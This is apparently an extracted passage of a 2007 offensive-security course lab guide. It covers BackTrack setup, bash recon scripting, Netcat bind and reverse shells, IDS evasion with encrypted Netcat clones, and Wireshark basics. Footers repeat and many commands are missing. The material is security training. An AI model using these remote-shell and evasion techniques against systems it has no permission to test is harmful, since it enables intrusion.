Offensive Security Lab Exercises: Mati Aharoni
Offensive Security Lab Exercises: Mati Aharoni
144
Offensive Security
Lab Exercises
Mati Aharoni
MCT, MCSE + Security, CCNA, CCSA, HPOV, CISSP
1
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Table of Contents
A note from the author...................................................................................................................10
Legal Stuff......................................................................................................................................14
REALY REALY IMPORTANT NOTE:...............................................................................................14
Before we begin.........................................................................................................................15
1. Module 1 - BackTrack Basics.....................................................................................................18
1.1 Finding your way around the tools......................................................................................19
1.1.1 Exercise 1.................................................................................................................21
1.2 Basic Services.....................................................................................................................22
1.2.1 DHCP.......................................................................................................................22
1.2.2 Static IP assignment................................................................................................22
1.2.3 Apache.....................................................................................................................23
1.2.4 SSHD.......................................................................................................................23
1.2.5 Tftpd........................................................................................................................25
1.2.6 VNC Server.............................................................................................................25
1.2.7 Exercise 2................................................................................................................26
1.3 Basic Bash Environment.....................................................................................................28
Overview................................................................................................................................28
1.3.1 Simple Bash Scripting.............................................................................................28
1.3.2 Exercise 3 ...............................................................................................................29
1.3.3 Possible Solution for ICQ Exercise..........................................................................30
1.3.4 Exercise 4................................................................................................................36
1.4 Netcat The Almighty...........................................................................................................37
Overview................................................................................................................................37
1.4.1 Connecting to a TCP/UDP port with Netcat............................................................37
1.4.2 Listening on a TCP/UDP port with Netcat...............................................................39
1.4.3 Transferring files with Netcat.................................................................................40
1.4.4 Remote Administration with Netcat........................................................................42
[Link] Scenario 1 – Bind Shell.................................................................................43
[Link] Scenario 2 – Reverse Shell...........................................................................45
1.4.5 Exercise 5................................................................................................................47
1.5 Using WireShark (Ethereal)................................................................................................49
Overview................................................................................................................................49
2
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Overview..............................................................................................................................149
6.1 Looking for the Bugs.........................................................................................................149
6.2 Fuzzing..............................................................................................................................150
6.3 Replicating the Crash........................................................................................................152
6.4 Controlling EIP..................................................................................................................154
6.4.1 Binary Tree analysis..............................................................................................154
6.4.2 Sending a unique string........................................................................................155
6.5 Locating Space for our Shellcode.....................................................................................158
6.6 Redirecting the execution flow..........................................................................................160
6.7 Finding a return address...................................................................................................161
6.7.1 Using OllyDbg.......................................................................................................161
6.8 Getting our shell................................................................................................................165
6.9 Improving exploit stability................................................................................................169
6.9.1 Exercise 13.............................................................................................................170
7. Module 7- Working With Exploits............................................................................................172
7.1 Looking for an exploit on BackTrack..................................................................................177
7.1.1 RPC DCOM Example..............................................................................................177
7.1.2 Wingate Example....................................................................................................180
7.1.3 Exercise 14.............................................................................................................190
7.2 Looking for exploits on the web.........................................................................................191
7.2.1 Security Focus .......................................................................................................191
7.2.2 [Link]..........................................................................................................194
8. Module 8- Transferring Files...................................................................................................195
Exercise....................................................................................................................................195
8.1 The non interactive shell....................................................................................................196
8.2 Uploading Files..................................................................................................................197
8.2.1 Using TFTP.............................................................................................................197
[Link] TFTP Pros ..................................................................................................199
[Link] TFTP Cons .................................................................................................199
8.2.2 Using FTP...............................................................................................................199
8.2.3 Inline Transfer - Using echo and [Link].........................................................200
8.3 Exercise 15........................................................................................................................201
9. Module 9 – Exploit frameworks...............................................................................................202
5
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9.1 Metasploit..........................................................................................................................202
9.1.1 Metasploit Command Line Interface (MSFCLI).....................................................203
9.1.2 Metasploit Console (MSFCONSOLE).....................................................................207
9.1.3 Metasploit Web Interface (MSFWEB)....................................................................209
9.1.4 Exercise 16.............................................................................................................214
9.1.5 Interesting Payloads...............................................................................................215
[Link] Meterpreter Payload...................................................................................215
[Link] PassiveX Payload........................................................................................218
[Link] Binary Payloads..........................................................................................219
9.1.6 Exercise 17.............................................................................................................221
9.1.7 Framework v3.0.....................................................................................................222
[Link] Framework 3 Auxiliary Modules.................................................................222
9.1.8 Framework v3.0 Kung Foo.....................................................................................225
[Link] db_autopwn................................................................................................225
[Link] Kernel Payloads..........................................................................................228
9.1.9 Exercise 18.............................................................................................................231
9.2 Core Impact........................................................................................................................232
9.2.1 Exercise 19............................................................................................................240
10. Module 10- Client Side Attacks.............................................................................................241
A note from the authors...........................................................................................................241
10.1 Client side attacks...........................................................................................................242
10.2 MS04-028........................................................................................................................243
10.3 MS06-001........................................................................................................................247
10.4 Client side exploits in action...........................................................................................249
10.5 Exercise 20......................................................................................................................250
11. Module 11- Port Fun..............................................................................................................251
A note from the authors...........................................................................................................251
11.1 Port Redirection..............................................................................................................252
11.2 SSL Encapsulation - Stunnel..........................................................................................254
11.2.1 Exercise 21...........................................................................................................258
11.3 HTTP CONNECT Tunneling............................................................................................259
11.4 ProxyTunnel....................................................................................................................262
11.4.1 Exercise 22...........................................................................................................264
6
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
7
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
8
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
I took my friend aside and proceeded to boot a vulnerable class computer and
told him: “Watch this, I'm going to use the same exploit as Zotob”. I browsed to
the milw0rm site, and downloaded the first (at the time) exploit on the list, and
saved it to disk. I opened a command prompt, compiled the exploit using the cl
command line Visual Studio compiler and ran the exploit. The output said
something like “[Link] <victim IP>”. I punched in the IP address of the
10
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
vulnerable computer with one finger, and pressed enter. I was immediately
presented with command shell belonging to the victim machine. I typed in
ipconfig and then whoami. I gave him just enough time to see the output, and
then typed “exit”. Exiting the shell caused [Link] to crash, and a reboot
window popped up, just like the ones he saw.
I could slowly see the realization seep in. His face lost color and he slowly sat
down on the nearest chair. He looked at me with horrified eyes, and somehow
manage to gasp “how” and “why” at the same time. He then quickly exited the
room and made some urgent phone calls. I was later honored to have this friend
sit in one of my courses, which unfortunately left him paranoid as hell.
This made me realize that there is a *huge* gap between the “Defensive” and
“Offensive” security fields. A gap so big that a 12 year old (who probably doesn't
know what TCP/IP stands for) could outsmart a well seasoned security expert.
11
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This course attempts to partially fill in this gap, and present the Penetration
Testing and Ethical Hacking field to the student. Basic attack vectors are
presented and the penetration testing cycle is introduced. The course focuses on
understanding and then implementing the why and how respectively. Please be
aware that this course will not teach you how to be an ethical hacker, or a
penetration tester. This is achieved after many months and years of study and
experience. This course merely introduces the basic tools and techniques which
are used in common attack vectors.
The nature of this topic and course is disruptive. Labs might behave oddly, things
might not always work as expected. Be ready to manipulate and adapt as needed,
as this is the way of the pen tester </zen>.
Saying this, we've taken all measures possible for the labs to be easily
understood and in many cases recreated by the student, using both the course
movies and the written lab guide. If a certain topic is new or alien to you try
sticking to the guide, and things should be OK. Once you feel comfortable with
the topic, you can try experimenting with lab variables. If things go horribly
wrong for you, mail me at help@[Link], and I'll get back to you
as soon as possible.
I've added “Extra mile” mini challenges to part of the exercises for those wanting
to particularly advance in the field of penetration testing, and are willing to put
in the extra time and effort. These challenges are not necessary, but
recommended. The points gained by various exercises go towards your
certifications, and may be counted in your favor in the final certification
challenge.
12
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
I really hope you enjoy the course, at least as much as I did making it, and that
you gain new insights and a deeper understanding into what the security arena
looks like from an attacker's perspective.
13
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Legal Stuff
The following document contains the lab exercises for the course and should be
attempted ONLY INSIDE OUR SECLUDED LAB. Please note that most of the
attacks described in the lab guide would be considered ILLEGAL if attempted on
machines which you do not have explicit permission to test and attack.
Since the lab environment is secluded from the Internet, it is safe to perform the
attacks INSIDE the lab ONLY.
We assume no responsibility for any actions performed OUTSIDE the labs. Please
remember this basic guideline: With knowledge, comes responsibility.
14
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Before we begin
This course is very practical and leaves much of the studying to the student.
However, I felt the need on elaborating a bit about the process and methodology
of a pen test, as I see it.
HouseKeeping Cleaning up
Rootkits
Maintaining Trojans
Access
Target Boundary
Penetration BO's
SQL
Vulnerability CLIENT
WIFI
Identification
VPN SNMP
Service
Enumeration Port Scanning
DNS SMTP
Information Google
Gathering Whois
WWW
15
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
As the model suggests, the more information we gather, the higher the
probability of a successful penetration. Once we penetrate the initial target
boundary, we usually start the cycle again - for example, gathering information
about the internal network in order to penetrate it deeper.
To deal with all the volumes of information we gather during a pen test, I like to
use Leo (an XML editor) in order to document all my findings. Leo takes a bit of
time to get used to, but soon you will find that it is a very convenient resource for
documentation. Do not dismiss Leo away if you don't manage to figure it out in
the first 5 minutes – it's a program that's worth a bit of fighting on your part.
16
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
It doesn't really matter what program you use for your documentation, as long as
the output is clear and easily read.
During this course, you will be required to log your findings in the labs and
students that have opted for the Certification Exam will have to submit
supporting documentation of their attack. Get used to documenting your work
and findings – it's the only way proper research can be done!
17
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Lab Objectives:
Objective details:
By the end of this module, the student should be familiar with basic BackTrack /
Linux operations such as:
18
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Introduction
If you've come this far, I assume you already know what the BackTrack LiveCD is
all about and no more introductions are needed.
Before we start bashing away at our keyboard, I'd like to quickly review the CD
layout and basic features.
The BackTrack Live CD attempts to be intuitive in its tool layout. However, there
are several important things to keep in mind.
● Not all the tools available on the CD are represented in the KDE / Fluxbox
menu.
● Several of the tools available in the menu invoke automated scripts which
assume defaults. There may be times you will prefer to invoke a tool from
the command line rather than from the menu.
● Generally speaking, try to avoid the KDE menu, at least for training
purposes. Once you get to know the tools and their basic command line
options, you can indulge yourself in laziness and use the menu.
Most of the analysis tools are located either in the path or in the /pentest
directory. The tools in the /pentest directory are categorized and sub categorized
as different attack vectors and tools. Take some time to explore the /pentest
directory so that you become familiar with the tools available. As Abe said, “If I
had 6 hours to chop down a tree, I'd spend the first 3 sharpening my axe.”
19
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # ls -l /pentest/
BT ~ # ls -l /pentest/enumeration/
drwxr-xr-x 3 root root 4096 Oct 8 02:34 dns/
drwxr-xr-x 3 root root 4096 Oct 8 02:34 dns-bruteforce/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 dns-ptr/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 dnsenum/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 dnsmap/
drwxr-xr-x 6 root root 4096 Oct 8 02:34 google/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 isr-form-1.0/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 list-urls/
drwxr-xr-x 5 root root 4096 Sep 17 14:02 mibble-2.7/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 nmbscan-1.2.4/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 nstx/
drwxr-xr-x 3 root root 4096 Oct 8 02:34 relayscanner/
drwxr-xr-x 11 root root 4096 Oct 8 02:34 revhosts/
drwxr-xr-x 2 root root 4096 Oct 8 01:06 smb-enum/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 smtp-vrfy/
drwxr-xr-x 2 root root 4096 Oct 8 02:34 snmpenum/
drwxr-xr-x 3 root root 4096 Oct 8 02:34 www/
BT ~ #
20
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.1.1 Exercise 1
Lab Requirements:
● BackTrack.
1. Log into Backtrack and browse the /pentest directory in a console window. Get to
know the /pentest directory and sub directory structure. Make a mental note of
the tools and their names. Please remember that the /pentest directory holds
only few of the pen testing tools. Other tools are usually in the path.
21
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Note - don't forget to check that you have a valid IP address! Depending on your
network, you'll either be assigned one by DHCP, or you will need to assign one
statically.
1.2.1 DHCP
BT ~ # dhcpcd eth0
eth0: link up
BT ~ #
Host IP : [Link]
22
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.2.3 Apache
You can control the Apache server using the apachectl stop / start commands:
BT ~ # apachectl start
/usr/local/apache/bin/apachectl start: httpd started
BT ~ #
Try browsing to your localhost address to see if the HTTP server is up and
running. To stop the HTTPD server :
BT ~ # apachectl stop
/usr/local/apache/bin/apachectl stop: httpd stopped
BT ~ #
1.2.4 SSHD
The SSH server can be very useful in various situations, such as SSH Tunneling,
SCP file transfers, remote access etc.
Before the SSH server is started for the first time, SSH keys need to be
generated. If you attempt to start the SSHD server before you've created your
keys, you'll get an error similar to this:
BT ~ # /usr/sbin/sshd
NET: Registered protocol family 10
lo: Disabled Privacy Extensions
IPv6 over IPv4 tunneling driver
Could not load host key: /etc/ssh/ssh_host_key
Could not load host key: /etc/ssh/ssh_host_rsa_key
Could not load host key: /etc/ssh/ssh_host_dsa_key
Disabling protocol version 1. Could not load host key
Disabling protocol version 2. Could not load host key
sshd: no hostkeys available -- exiting.
BT ~ #
23
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # sshd-generate
Generating public/private rsa1 key pair.
Your identification has been saved in /etc/ssh/ssh_host_key.
Your public key has been saved in /etc/ssh/ssh_host_key.pub.
The key fingerprint is:
6b:df:63:50:e5:3d:55:11:18:9d:f6:ec:0d:f8:fc:08 root@BT
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
40:3d:5a:f8:74:6e:35:ca:89:46:e3:26:e3:83:05:c3 root@BT
Generating public/private dsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.
The key fingerprint is:
d9:8e:c0:68:d9:82:00:4b:32:83:e6:0e:ca:ec:89:c4 root@BT
BT ~ # /usr/sbin/sshd
BT ~ #
You can verify that the server is up and listening using the netstat command:
24
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.2.5 Tftpd
A Tftpd server can be useful in situations in which you need to transfer files to or
from a victim machine.
This will start a Tftp server serving files from /tmp. Again, you can verify this
using netstat :
A VNC server is useful for remote desktop sharing or for sending remote reverse
VNC connections from an attacked machine.
To start the VNC server, simply type vncserver. You will be prompted for a
password and the VNC server will open on port 5901.
BT ~ # vncserver
You will require a password to access your desktops.
Password:
Verify:
Would you like to enter a view-only password (y/n)? n
New 'X' desktop is BT:1
Starting applications specified in /root/.vnc/xstartup
Log file is /root/.vnc/BT:[Link]
BT ~ # netstat -ant |grep 5901
tcp 0 0 [Link]:5901 [Link]:* LISTEN
BT ~ #
25
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.2.7 Exercise 2
Lab Requirements:
● BackTrack.
2. Choose your wired network interface, and set an IP address for BackTrack (BT)
on your local network. If you are assigned an IP address by a DHCP server, you
can skip this step (even though practicing manual IP setup is recommended.)
Check that your IP address is correct using the ifconfig command.
BT ~ # passwd
Changing password for root
Enter the new password (minimum of 5, maximum of 127 characters)
Please use a combination of upper and lower case letters and numbers.
New password: ****************
Re-enter new password: ****************
Password changed.
BT ~ #
Note - You should always reset your password after booting BT Live, and before
starting services like SSHD. Nasty people could log on to your computer using the
default root/toor login, and do nasty things.
26
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4. Start and stop your SSH / Apache / Tftpd / VNC servers in turn and check that
they are all working. If possible, try connecting to your VNC server from a
different machine.
27
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Overview
These are the basic tools we will be working with regularly, and proficiency with
them will be assumed. Please take the time to exercise these tools independently.
If you are completely unfamiliar with the bash shell, I suggest you read up about
it before attempting these exercises. This lab assumes reasonable familiarity with
Linux.
The BASH shell (or any other shell for that matter) is a very powerful scripting
environment. On many occasions we need to automate an action or perform
repetitive time consuming tasks. This is where bash scripting comes in handy.
Let's try to work with a guided exercise.
28
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.3.2 Exercise 3
Lab Requirements:
● BackTrack.
● Internet connection.
1. Assume you were assigned with the task of gathering as many [Link] server
names as possible with minimum traffic generation. Imagine you had to pay $100
for every kilobyte generated by your computer for this task :) While browsing
the ICQ site, you notice that their main page contains links to many of their
services which are located on different servers. The exercise requires Linux
BASH text manipulation in order to extract all the server names from the ICQ
main page.
29
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # wget [Link]
--14:43:59-- [Link]
=> `[Link]'
Connecting to [Link]... connected.
HTTP request sent, awaiting response... 200 OK
Length: 58,132 (57K) [text/html]
BT ~ #
2. Let's extract the lines containing the string “href=”, indicating that this line
contains an http link.
This is still a mess, but we're getting closer. A typical “good” line looks like this:
3. If we split this line using a “/” delimiter, the 3rd field should contain our server
name.
This should give us a list of [Link] servers. If you look closely at the output, you
will notice that some rouge lines have found their way into our list. We would like
to filter out lines such as:
30
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4. We'll grep out all the non relevant lines. While we're at it, we'll also sort the list,
and remove duplicate entries:
Please note that this method of extracting links from html pages is rather gung
ho, and not very professional. The more elegant way of completing this exercise
is to use a higher scripting language such as Python or Perl and to parse the
HTML using regular expressions. This exercise simply demonstrates the power of
the BASH environment.
31
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # cd /pentest/enumeration/list-urls/
BT list-urls # [Link] [Link]
##########################################################
# #
# Extract URLS from a web page #
# muts@[Link] #
# #
##########################################################
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
.....
6. We'll continue with this example in order to demonstrate some other useful
scripting features. Now that you have the FQDNs for these servers, you are
tasked with finding out the IP addresses of these servers. Using a simple BASH
script and a loop, this task becomes a piece of cake. We basically want to issue
the host command for each FQDN found.
32
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # grep "href=" [Link] |cut -d"/" -f3 |grep [Link] |sort -u >[Link]
7. We can now write a short script which reads [Link] and executes the host
command for each line. Use your favorite text editor to write this script
([Link]):
#!/bin/bash
for hostname in $(cat [Link]);do
host $hostname
done
Yes, the output is a mess. We need to improve our script. If you look at the
33
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
output you will see that most of the names are aliases to other names:
9. Let's filter all the lines that contain the string “has address” :
#!/bin/bash
for hostname in $(cat [Link]);do
host $hostname |grep "has address"
done
Once we run our script again, the output looks much better.
BT ~ # ./[Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
[Link] has address [Link]
BT ~ #
34
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
10. Our last task in this exercise is to get the IP addresses of these servers, again,
by using BASH text manipulation.
35
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.3.4 Exercise 4
Lab Requirements:
● BackTrack.
● Internet connection.
1. In this exercise, you will be tasked with writing a simple bash script which will
identify all live hosts (responding to a ping) in the [Link]/24 lab network.
The script should take as little time to complete as possible.
Try repeating Exercise 3 using a higher scripting language such as Python or Perl.
Don't be afraid to try this even if you've never programmed before. Use Google to
look up examples. Give it a try!
36
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Overview
Netcat is a wonderfully versatile tool which has been dubbed the “hackers' Swiss
army knife”.
Netcat can simply be described as a tool that can read and write to TCP and
UDP ports. This dual functionality suggests that Netcat runs in two modes:
“client” and “server”. If this sounds completely alien to you, please do some
background research on this tool as we will be using it very often.
37
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]
BT ~ #
1. In order to connect to TCP port 22 on [Link] and read from it, try
the following:
2. We see that port 22 is open and advertises the SSH banner SSH-2.0-OpenSSH_4.3.
Press Ctrl +c to exit Netcat.
38
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
HTTP/1.1 200 OK
Date: Tue, 17 Oct 2006 16:50:23 GMT
Server: Apache
Last-Modified: Mon, 16 Oct 2006 23:07:16 GMT
ETag: "33f04-1c99-b2ea7100"
Accept-Ranges: bytes
Content-Length: 7321
Connection: close
Content-Type: text/html
Listening on a TCP/UDP port using Netcat is useful for network debugging client
applications, or otherwise receiving a TCP/UDP network connection.
Let's try implementing a simple chat using Netcat. Please take note of your local
IP address (mine is [Link])
BT ~ # nc -lvvp 4444
listening on [any] 4444 ...
39
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\>ipconfig
Netcat can also be used to transfer files from one computer to another. This
applies to text and binary files.
Computer 1: We'll set up Netcat to listen to and accept the connection and to
redirect any input into a file.
40
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\>type [Link]
"Hi! This is a text file!"
Since Netcat doesn't give any indication of file transfer progress, we just wait for
a few seconds and then press Ctrl+c to exit Netcat.
Computer 1
BT ~ # cat [Link]
"Hi! This is a text file!"
BT ~
41
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
The other name of this chapter is “Using Netcat as a BackDoor.” There is a very
specific reason for not using this title, and I will point it out later in the exercise.
One of Netcat's neat features is command redirection. This means that Netcat
can take an exe file and redirect the input, output and error messages to a
TCP/UDP port, rather than to the default console.
If this is confusing for you, just hang in there and check out the following
example.
42
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
For now, let's talk about Bob and Alice – two fictional characters trying to
connect to each other's computers. Please take note of the network
configurations – they play a critical role, as we will soon see.
In scenario 1, Bob has requested Alice's assistance and has asked her to connect
to his computer and help him out. As you can see, Bob has a non RFC 1918
address and is directly connected to the internet. Alice, however, is behind a NAT
connection.
In order to complete the scenario, Bob needs to bind [Link] to a TCP port on
his machine and inform Alice which port to connect to.
43
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Bob's machine
Alice's machine
BT ~ # nc -v [Link] 4444
[Link]: inverse host lookup failed: Unknown host
(UNKNOWN) [[Link]] 4444 (krb524) open
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
Windows IP Configuration
44
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In scenario 2 Alice is requesting help from Bob. Our assumption is that Bob does
not control the NAT device which he is behind. Is there any way for Bob to
connect to Alice's computer and solve her problem?
Bob's machine
Alice's machine
45
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
ifconfig
eth0 Link encap:Ethernet HWaddr 00:15:58:27:69:7F
inet addr:[Link] Bcast:[Link] Mask:[Link]
inet6 addr: fe80::215:58ff:fe27:697f/64 Scope:Link
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19549 errors:0 dropped:0 overruns:0 frame:0
TX packets:15365 errors:0 dropped:0 overruns:0 carrier:0
RX bytes:26327037 (25.1 MiB) TX bytes:1198002 (1.1 MiB)
Base address:0x3000 Memory:ee000000-ee020000
Netcat has other nice features and uses such as simple sniffing abilities, port
redirection and others which I will leave for you to research independently.
The reason I didn't want to call this Module “Netcat as a backdoor” is that
students usually start thinking about the malicious implementations of such a
backdoor, and one of the first questions asked is: “How to I get Netcat to run on
the victim machine, without remote user intervention?”. I usually dismiss this
question, with a horrified look on my face.
The magic answer to this question is simply “remote code execution”. Ninety
percent of attack vectors can be summarized with the pair of words “code
execution”. For example, attacks such as Buffer Overflows, SQL injection, File
Inclusion, Client Side Attacks, Trojan Horses - all aim to result in “code
execution” on the victim machine.
46
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.4.5 Exercise 5
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to the Windows XP client machine assigned to you via Remote Desktop.
(You will find netcat in the “Extras” Directory on the desktop). Do not forget to
disable the Windows XP firewall, or alternatively open a specific port in the
firewall for netcat connections (TCP 4444 is fine).
● Simple Chat
● File transfer
● Port scanner
● Banner grabber
47
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
3. Most IPS / IDS systems identify the traffic signature of a “flying shell”, and flag it
as evil. Several encrypted Netcat clones exist, which have turned into my
permanent Netcat replacements. Take time to get to know SBD (google: sbd
netcat clone). Implement the bind/reverse shell scenarios using SBD under linux
and windows.
Can you figure out how to preform TCP port redirection with necat ? Use Google to
help you find [Link] cover TCP port redirection in a later module, so if this
topic is new to you check the TCP port redirection chapter and do some research
before trying this challenge. (7 points)
48
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Overview
Learning how to use a sniffer effectively is probably one of the most important
network related lessons one can take, and I strongly recommend that this
chapter be reviewed and practiced as much as possible.
I will sadly confess that, for years, I avoided using a sniffer. Every time I tried, I
was confronted either with a battery of speed-o-meters or a lot of hex stuff that I
didn't really understand. One day, I had no other option but to use a network
sniffer, and after taking a deep breath, I suddenly realized that understanding all
that “hex stuff” wasn't too complicated at all.
49
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Let's begin by peeking into a Wireshark (Ethereal) capture file. This capture was
taken as I opened my browser and pointed it to [Link] (a great
site which we will cover later.)
Looking at this for the first time might be overwhelming. However, let's take that
deep breath, examine the packet capture line by line and implement our
knowledge in TCP/IP.
50
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Packet 1: ARP Broadcast. We've attempted to send a packet to the Internet, and
before our computer can actually send it, it needs to identify the default gateway
on the local network. The default gateway IP address is configured on the
requesting machine, but the default gateway MAC address is unknown. My
machine sends a broadcast to the whole network, asking “Who has [Link]?,
Tell [Link]”.
Packet 2: All computers on the local subnet receive this broadcast and check
whether [Link] belongs to them. Only [Link] responds to this ARP
broadcast and sends an ARP unicast reply to [Link], informing it of the
MAC address requested.
Packet 3: Now that our computer knows where to send its packets in order for
them to reach the internet, we need to resolve the IP of [Link]. Our
computer sends a DNS query to the DNS server defined in our TCP/IP settings
and asks the DNS server for the IP address of [Link].
Packet 4: The DNS server replies and tells our computer that the FQDN
[Link] is an alias for [Link].
Packet 5: Our computer insists on an answer and asks the DNS server, once
again, for the IP address of [Link] (notice, no www).
Packet 6: The DNS server replies and tells our computer that the IP address for
[Link] is [Link].
Packet 8: The web server responds with an ACK and sends a SYN to our
machine.
51
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Packet 9: We send a final ACK to the web server and complete the 3 way
handshake.
Packet 10: Now that the handshake is complete our computer can start talking
with the service using a specific protocol. Since we are using a web browser, our
computer sends an HTTP GET request which retrieves the index page, and all
linked images, to our browser.
Packets 11 – end: The main page of [Link], including all linked images,
are loaded in our browser.
After analyzing this dump we can see that sniffers actually make sense and can
provide us with detailed information about what goes on in our network.
52
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
I will be honest and confess that capture dumps are rarely as clear as this since
there is usually a lot of “background noise” on our network. Various broadcasts,
miscellaneous network services and other running applications all make our life
harder when it comes to traffic analysis.
This is where traffic capture filters come to our aid, as they can filter out “non
interesting traffic”. These filters greatly help us pinpoint the traffic we want and
reduce background noise to a point where we can once again make sense of what
we see.
53
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
As you may have noticed, packets 11–end are a bit difficult to comprehend since
they contain fragments of information. Most modern sniffers, Wireshark
included, know how to reassemble a specific session and display it in various
formats.
54
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1.5.4 Exercise 6
Lab Requirements:
● BackTrack.
● Internet connection.
1. Download [Link]
2. Use Wireshark to open the capture file and try to account for all packets in the
dump.
Can you find out how to make a capture filter that will only capture HTTP GET
requests ? Use Google to look for filter examples..
55
